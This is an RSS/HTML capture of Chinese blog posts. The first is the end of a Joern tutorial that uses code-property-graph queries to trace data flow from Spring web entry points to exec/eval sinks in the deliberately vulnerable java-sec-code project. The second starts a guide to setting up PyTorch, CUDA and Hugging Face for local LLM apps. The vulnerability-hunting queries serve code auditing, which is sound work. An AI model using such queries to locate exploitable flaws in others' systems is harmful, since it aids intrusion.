26px;margin-bottom: 10px;">joern做了什么？</h1><p style="min-height: 24px;"><span style="font-size: 16px;">而joern作为一个白盒的代码分析工具，主要做了两部分。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">第一部分是<strong>实现了一种方案来比较通用的代码转CPG</strong>，他的原理也很简单，用已经有的某个组件来实现语义分析部分，然后把不同的AST转成统一的AST，最终转成目标CPG。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.7955465587044535" width="898.181798714252" data-type="png" data-w="988" src="https://wechat2rss.xlab.app/img-proxy/?k=efdadedc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVCj8l2stLILPPibpff9XBROicz4icucQG2goqaDuC185wNSHFBaiasYPAJQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">而第二部分就是，<strong>在已有的CPG基础上，实现了一套查询语法，类似CodeQL</strong>，这种，允许通过这种语法来构造不同的查询逻辑实现最终的目标</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">&gt; def source = cpg.identifier.typeFullName(&#34;.*HttpServletRequest.*&#34;)<br/>&gt; def sink = cpg.call(&#34;exec|eval&#34;).argument<br/>&gt; sink.reachableBy(source)</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">拿上面这段代码举例子就是，<strong>寻找java当中的代码执行漏洞范围，通过简单的指定source和sink就能实现漏洞挖掘，中间的步骤被封装起来</strong>。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">它同样支持你<strong>使用复杂的Scala脚本进行代码的扫描和处理</strong>。通过Scala可以实现更复杂的查询和数据流分析。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5625" width="2000" data-type="png" data-w="2000" src="https://wechat2rss.xlab.app/img-proxy/?k=254465c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVd5VcPzpibQibntmFhoEvUCnnXLIUia6kWnyEnu3kS98Y1qvXic4U81aEeA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">相比其他的某个白盒工具来说，joern的优势有一点儿非常特例，这点在CodeQL中也有很强烈的体现，就是<strong>大部分的白盒扫描工具对于底层的包裹非常严密</strong>，很多工具你只能简单的拿来扫描漏洞。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">一方面你无法清楚的知道，<strong>从这次扫描中你做了什么事情得到了什么东西，甚至无法知道这些漏洞是怎么被扫描或者是没有被扫描到。</strong></span></p><p style="min-height: 24px;"><span style="font-size: 16px;">另一方面，如果你的目标并不是单纯的扫描漏洞，而是<strong>想要通过工具辅助分析代码，比如想知道某个函数如何访问到，这种问题大概率没有答案。</strong></span></p><p style="min-height: 24px;"><span style="font-size: 16px;">如果对Joern的设计理念感兴趣，可以看看设计者写的文章</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://blog.shiftleft.io/semantic-code-property-graphs-and-security-profiles-b3b5933517c1" target="_blank">https://blog.shiftleft.io/semantic-code-property-graphs-and-security-profiles-b3b5933517c1</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">或者看看设计师的PPT</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://github.com/joernio/workshops/blob/master/2021-RSA/RSA-LAB2-R08.pdf" target="_blank">https://github.com/joernio/workshops/blob/master/2021-RSA/RSA-LAB2-R08.pdf</a></span></p></li></ul><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">使用joern</h1><p style="min-height: 24px;"><span style="font-size: 16px;">根据<strong>官网的文档</strong>，我们可以快捷的安装joern环境</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="color: rgb(93, 104, 111);font-size: 16px;"><a href="https://github.com/joernio/joern" target="_blank">https://github.com/joernio/joern</a></span></p></li></ul><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">wget <a href="https://github.com/joernio/joern/releases/latest/download/joern-install.sh" target="_blank">https://github.com/joernio/joern/releases/latest/download/joern-install.sh</a><br/>chmod +x ./joern-install.sh<br/>sudo ./joern-install.sh<br/>joern<br/>     ██╗ ██████╗ ███████╗██████╗ ███╗   ██╗<br/>     ██║██╔═══██╗██╔════╝██╔══██╗████╗  ██║<br/>     ██║██║   ██║█████╗  ██████╔╝██╔██╗ ██║<br/>██   ██║██║   ██║██╔══╝  ██╔══██╗██║╚██╗██║<br/>╚█████╔╝╚██████╔╝███████╗██║  ██║██║ ╚████║<br/> ╚════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝<br/>Version: 2.0.1<br/>Type `help` to begin<br/>joern&gt;</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">windows也可以用同样的方式安装，当然你需要有能跑sh的环境和wget/curl。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">如果需要做joern做二次开发，还<strong>需要下载idea的scala插件</strong></span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://plugins.jetbrains.com/plugin/1347-scala/versions/stable" target="_blank">https://plugins.jetbrains.com/plugin/1347-scala/versions/stable</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">joern的使用方法算是比较简单但是怎么用就要看需求了，可以多关注官网提供的很多查询语句帮助理解</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://queries.joern.io/" target="_blank">https://queries.joern.io/</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">这里我们下一个java-sec-code作为范例代码</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://github.com/JoyChou93/java-sec-code" target="_blank">https://github.com/JoyChou93/java-sec-code</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">导入到joern的方式也很简单</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3875868055555556" width="1047.2727045737026" data-type="png" data-w="2304" src="https://wechat2rss.xlab.app/img-proxy/?k=ce4e2c60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVcibE4cF9aRHVCF9uSZylnzmekXxR7h0FicNHcExiaDeVu73BVrsWeCFTA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">在运行代码的时候joern也给出了提示，<strong>如果想要扫描特别大的项目，建议把前端的cpg转化过程拆分出去。</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">javasrc2cpg.bat -J-Xmx8092m ../../java-sec-code/ --output D:\program\joern\joern-cli\workspace\java-sec-code\cpg.bin.zip</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">然后在打开joern后将刚才生成的cpg导入进来</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">importCpg(&#34;path/to/cpg&#34;)</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">但其实这个转化CPG的过程不会太慢，因为<strong>Joern为了优化这个速度，是把转化和连接这两部分拆开做的</strong>，换句话说，就是第一步只是把代码转成了CPG，而其中节点之间的关系并不会在转化过程中连接，而是在语句查询过程中完成，这大大节省了扫描所需的时间。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">这里转化的CPG会存在workspace里，用workspace命令可以看到之前转过的所有cpg。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.17954759660697456" width="964.5454336394953" data-type="png" data-w="2122" src="https://wechat2rss.xlab.app/img-proxy/?k=a73d5902&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgV2Cy2rQqzqYnDoQqBgKEydrQDpBOFEib8Hwb946QWCPfHchH3nfNVKjA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">你可以用openroject(java-sec-code)来切换当前激活的工作区</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.22673160173160173" width="842.272709016958" data-type="png" data-w="1848" style="" src="https://wechat2rss.xlab.app/img-proxy/?k=2154affd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVKkxticUtcrCpjxeCv2WjOGQs66LrSt3XpshjgzcGSdDO8wcCtw6Mibrw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">这里最终生成的<strong>cpg变量就是代码的CPG</strong>，所有的代码数据都会存在这个变量，比如cpg.metaData就是基础元数据，一般来说后面会加个.l，<strong>这个l就是tolist，结果会转成list格式</strong>。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2619734564339296" width="1575.4545113074885" data-type="png" data-w="1733" src="https://wechat2rss.xlab.app/img-proxy/?k=fee63a4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVfTjExLVcUFKSqjlSfcIJSwc4ibN1E2SlQicQiarfXx6osJfOft8IZd5CA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">比较重要的一点是，joern的shell模式<strong>为了易用性是优化了tab的</strong>，如果不知道命令可以多tab补全命令，会有一个实时的补全，很实用。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.07476635514018691" width="1459.090877465966" data-type="png" data-w="1605" src="https://wechat2rss.xlab.app/img-proxy/?k=3d0366ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVFeVlmd3QLhyD4Cg3lpp0lGE8egSYicXxLHW9NNRdgt28uVlIovNiaYFw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;"><strong>通过method可以获取cpg中的所有方法</strong>，并获取节点的详细信息。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">cpg.method.take(1).l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.446448087431694" width="1663.6363275780172" data-type="png" data-w="1830" src="https://wechat2rss.xlab.app/img-proxy/?k=d82c5ff5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVoqsCedAsIdoTycL6XuiaEiapxGHKaKHu4N1zSPoiayLLAY4SDPnDHodVA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">信息太多，你还可以<strong>构造返回的map结构</strong>，比如行号，方法名，对应的代码。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">cpg.method.map(n=&gt;List(n.lineNumber, n.name, n.code)).take(1).l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.17758985200845667" width="1719.9999627200048" data-type="png" data-w="1892" src="https://wechat2rss.xlab.app/img-proxy/?k=7c78e190&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVDVgvCKuZUWEMHYxqTfcw9BPudHNmeDUzBxV7uQB0CjHEnhTXdhmwjQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">查询<strong>调用了getRequestBody的方法</strong>，并获取文件名、行数、方法名</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">cpg.method.name(&#34;getRequestBody&#34;).caller.map(n=&gt;List(n.filename, n.lineNumber, n.fullName, n.code)).l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.37919926369075013" width="1975.4545026377223" data-type="png" data-w="2173" src="https://wechat2rss.xlab.app/img-proxy/?k=1aa2c731&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVsW4ENKNyWbEsnM2xiaiaZVO0aebmP2TmY2dz4Wib2wib3ubhObuedPwvfw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">这里第一行就表示，<strong>在XStreamRce.java这个文件的23行调用了getRequestBody这个函数</strong>。当然这里我们仅仅找到了一个入口，想要确定这是否可能是个问题，还需要<strong>追这个入口(source)是否可以通往敏感函数点</strong>，那我们就需要对数据流做分析了。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">首先我们需要知道<strong>如何访问到调用了getRequestBody的方法</strong>，由于这是个SpiringBoot项目，所以可以从<strong>@RequestMapping的注解</strong>入手，先查询出所有的web入口。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">cpg.method.where(_.annotation.name(&#34;.*Mapping&#34;)).map(n=&gt;(n.name, n.annotation.code.l)).l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3680732079308592" width="1788.181779424022" data-type="png" data-w="1967" src="https://wechat2rss.xlab.app/img-proxy/?k=b996dbd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVIOLqxhFazMniblWibcQC4BjsutPbsWnezACsLB1zDMOZVw9QEQ6LaSKA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">然后我们可以<strong>在@RequestMapping的节点</strong>和<strong>调用getRequestBody的方法节点</strong>中间寻找路径，在Joern它提供了两个方案</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><strong>正向搜索</strong>，从每一个RequestMapping的节点向下搜索寻找有没有调用getRequestBody方法的节点</span></p></li></ul><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">cpg.method.where(_.annotation.name(&#34;.*Mapping&#34;)).repeat(_.callee)(_.until(_.name(&#34;getRequestBody&#34;))).l</span></code></pre><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><strong>反向搜索</strong>，从调用getRequestBody方法的节点向上搜索寻找@RequestMapping的注解</span></p></li></ul><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">cpg.method.name(&#34;getRequestBody&#34;).repeat(_.caller)(_.until(_.annotation.name(&#34;.*Mapping&#34;))).l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.35700934579439253" width="1945.4545032879546" data-type="png" data-w="2140" src="https://wechat2rss.xlab.app/img-proxy/?k=e62685aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVsEJNQwDWcGe8SwYEcib9aLlEXqiaKydKSwPFV4B1CNibC2sejJbnsBXnA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;"><strong>关于正向搜索和反向搜索的优劣其实没有特别简单的优劣性</strong>，最简单的一个方式是<strong>从少的节点往多的节点找</strong>，这是最简单的也最不容易浪费资源，只需要执行少的节点数量次数即可。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">这里使用的语法是<strong>repeat...until...</strong>语法，大意是一直<strong>向上寻找调用上级/下级</strong>，<strong>直到满足某个条件为止</strong>。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">上面的语法只是显示了满足条件的节点，但<strong>真正到漏洞挖掘中</strong>，我们必须<strong>在source和sink中找到数据流</strong>才行，当然在Joern中这个也给了非常简单的基础使用方法，也就是<strong>reachableBy</strong>。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">这里用一个比较简单的例子，是java-sec-code最简单的rce例子</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4658682634730539" width="759.0908926380571" data-type="png" data-w="835" src="https://wechat2rss.xlab.app/img-proxy/?k=7383ccb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVOcWeVicR2ThOv5xCY7IlrUicYw1MC8sicPORyk5rU9ibamvFdtewMSrPiaQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">首先我们<strong>指定exec调用点为sink</strong>，然后照例<strong>指定含有Mapping注解的方法参数为source</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">def source = cpg.method.where(_.annotation.name(&#34;.*Mapping&#34;)).parameter<br/>def sink = cpg.call.name(&#34;exec&#34;)</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">然后直接<strong>用reachableBy来做数据流分析</strong>获取</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">sink.reachableByFlows(source).p</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.19596199524940616" width="2296.363586591296" data-type="png" data-w="2526" src="https://wechat2rss.xlab.app/img-proxy/?k=0f268dfc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVibq9FTslx5bKJ6SeDxiaZXbfuYK5mAiccV17P1ib41FZZINIGhYYrb25QA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">可以看到这里已经找到了刚才那条数据流。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">当然静态分析远不止这么简单，<strong>是否有效，是否被过滤都是问题</strong>，而且数据流当中也会有复杂的问题变化，而joern在这方面是提供了<strong>sc脚本的方案来构建复杂的查询逻辑</strong>。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">./joern --script test.sc --params cpgFile=/src.path.zip,outFile=output.log</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">这部分的内容后面再讲</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/08/21/joern-and-cpg/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=51dcc6d7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484099%26idx%3D1%26sn%3D36684e924c6b99ce2f93bf6569239e2a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 21 Aug 2023 14:38:00 +0800</pubDate>
    </item>
    <item>
      <title>打造自己的AIGC应用（一）入门篇</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484072&amp;idx=1&amp;sn=c29afa680609666897a6887bd1928ccc</link>
      <description>其实细数AI的发展历程非常之久，而让AI的应用一下子出现在人们眼前的其实就是ChatGPT的出现，这意味着AIGC应用已经从概念为王变的非常实用了。伴随着ChatGPT的出现，大量的开源大模型也如雨后春笋一样出现。</description>
      <content:encoded><![CDATA[<p>
<span>LoRexxar</span> <span>2023-07-19 18:35</span> <span style="display: inline-block;">北京</span>
</p>

<p>其实细数AI的发展历程非常之久，而让AI的应用一下子出现在人们眼前的其实就是ChatGPT的出现，这意味着AIGC应用已经从概念为王变的非常实用了。伴随着ChatGPT的出现，大量的开源大模型也如雨后春笋一样出现。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=eb022020&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwW0aPDyW4pZBhqQ9R2tp2HczTaKSVryawlsEGv0nL9MWMFTlxoM7yFA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">其实</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">细数AI的发展历程非常之久，而让AI的应用一下子出现在人们眼前的其实就是ChatGPT的出现，这意味着AIGC应用已经从概念为王变的非常实用了。伴随着ChatGPT的出现，大量的开源大模型也如雨后春笋一样出现。就现在而言，打造一个自己的AIGC应用已经非常简单了。</span><ne-clipboard></ne-clipboard></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>基础环境</span></h1><p style="min-height: 24px;"><span>我们需要配置一个环境</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><strong>python3.8+，不要太新</strong></p></li><li><p><strong>CUDA+环境</strong></p></li><li><p><strong>pytorch</strong></p></li><li><p><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">支持C++17的编译器</span></strong></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">首先我比较推荐你配置一个</span><strong><span style="font-size: 16px;">anaconda</span></strong><span style="font-size: 16px;">的环境，因为pytorch的其他安装方法真的很麻烦</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span style="font-size: 16px;"><a href="https://www.anaconda.com/distribution/#download-section" target="_blank">https://www.anaconda.com/distribution/#download-section</a></span></p></li></ul><p style="min-height: 24px;"><span>然后你需要安装CUDA的环境，正常来说只需要下载</span><strong>对应的CUDA版本</strong><span>即可</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://developer.nvidia.com/cuda-downloads" target="_blank">https://developer.nvidia.com/cuda-downloads</a></p></li></ul><p style="min-height: 24px;"><span>然后就是安装</span><strong>pytorch</strong><span>的环境，这个环境比较麻烦，正常来说</span><strong>通过conda来安装</strong><span>是比较靠谱的办法，当然有些时候就是安不了。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3842696629213483" width="809.0908915543363" data-type="png" data-w="890" src="https://wechat2rss.xlab.app/img-proxy/?k=bb35a65a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRw3DuTqNkps5yHG93HGvyiaropqS03kwLruUialFm3jzPKyv72MwMHOTiag%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>如果安装不成功，就只能用源码来编译了。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span><a href="https://github.com/pytorch/pytorch#from-source" target="_blank">https://github.com/pytorch/pytorch#from-source</a></span></p></li></ul><p style="min-height: 24px;"><span>首先，clone一下源码</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>git clone --recursive <a href="https://github.com/pytorch/pytorch" target="_blank">https://github.com/pytorch/pytorch</a><br/>cd pytorch<br/># if you are updating an existing checkout<br/>git submodule sync<br/>git submodule update --init --recursive</code></pre><p style="min-height: 24px;"><span>然后安装一下对应的各种依赖</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>conda install cmake ninja<br/># Run this command from the PyTorch directory after cloning the source code using the “Get the PyTorch Source“ section below<br/>pip install -r requirements.txt<br/>conda install mkl mkl-include<br/># Add these packages if torch.distributed is needed.<br/># Distributed package support on Windows is a prototype feature and is subject to changes.<br/>conda install -c conda-forge libuv=1.39</code></pre><p style="min-height: 24px;"><span>然后</span><strong>windows的源码编译有点儿复杂</strong><span>，具体要参考各种情况下的编译</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/pytorch/pytorch#install-pytorch" target="_blank">https://github.com/pytorch/pytorch#install-pytorch</a></p></li></ul><p style="min-height: 24px;"><span>在编译这个</span><strong>pytorch</strong><span>这个东西的时候我遇到过贼多问题，其中大部分问题我都搜不到解决方案，最终找到的最靠谱的方案是，</span><strong>不能用太低或者太高版本的python</strong><span>，会好解决很多，最终我选择了用3.10版本的python，解决了大部分的问题。</span></p><p style="min-height: 24px;"><span>另外就是如果gpu不是很好或者显存不是很高，也可以</span><strong>使用cpu版本</strong><span>，大部分电脑的内存都会比较大，起码能跑起来。</span></p><p style="min-height: 24px;"><strong><span style="color: #ED740C;">如果是windows</span></strong><span>，那一定会用到</span><strong>huggingface</strong><span>，有个东西我建议一定要注意下。</span></p><p style="min-height: 24px;"><span>默认的huggingface和pytorch的缓存文件夹是在～/.cache/下，是在c盘下面，而一般LLM的模型文件都贼大，很容易把C盘塞满，这个注意要改下。</span></p><p style="min-height: 24px;"><strong>在环境变量里加入</strong><strong><span style="color: rgb(75, 85, 99);font-size: 16px;">HF_HOME和TORCH_HOME ，设</span></strong><strong>置为指定变量即可。</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2541856925418569" width="1194.5454286543797" data-type="png" data-w="1314" src="https://wechat2rss.xlab.app/img-proxy/?k=348c8387&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQw8ZxjVLBe8SWeSiblmOiaRwqtMK3Zicib7PicsGicAe3s1GuWDRSH5UVCKBlkZfic1ICMFjngTVylPoMcQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>除此之外，有的项目也会提供</span><strong>docker化的部署方案</strong><span>，如果采用这种方案，就必须在宿主机安装</span><strong>NVIDIA Container Toolkit</strong><span>，并重启docker</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>sudo apt-get install -y nvidia-container-toolkit-base<br/>sudo systemctl daemon-reload <br/>sudo systemctl restart docker</code></pre><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>进阶构成</span></h1><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>LLM</span></h2><p style="min-height: 24px;"><strong><span style="font-size: 16px;">LLM全称</span></strong><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">Large Language Model</span></strong><span style="color: rgb(31, 35, 40);font-size: 16px;">，大语言模型，是以ChatGPT为代表的ai对话核心模块，相比我们无法控制、训练的ChatGPT，也逐渐在出现大量的开源大语言模型，尤其是以</span><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">ChatGLM、LLaMA</span></strong><span style="color: rgb(31, 35, 40);font-size: 16px;">为代表的轻量级语言模型相当好用。</span></p><p style="min-height: 24px;"><span style="color: rgb(31, 35, 40);font-size: 16px;">虽然</span><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">这些开源语言模型相比ChatGPT差距巨大</span></strong><span style="color: rgb(31, 35, 40);font-size: 16px;">，但深度垂直领域的ai应用也在逐渐被人们所认可。与其说我们想要在开源世界寻找ChatGPT的代替品，不如说这些开源大语言模型的出现，意味着我们有能力打造自己的GPT。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><strong><span style="color: rgb(31, 35, 40);font-size: 16px;">ChatGLM-6B</span></strong></p></li><li><p><span style="color: rgb(31, 35, 40);font-size: 16px;"><a href="https://github.com/THUDM/ChatGLM-6B" 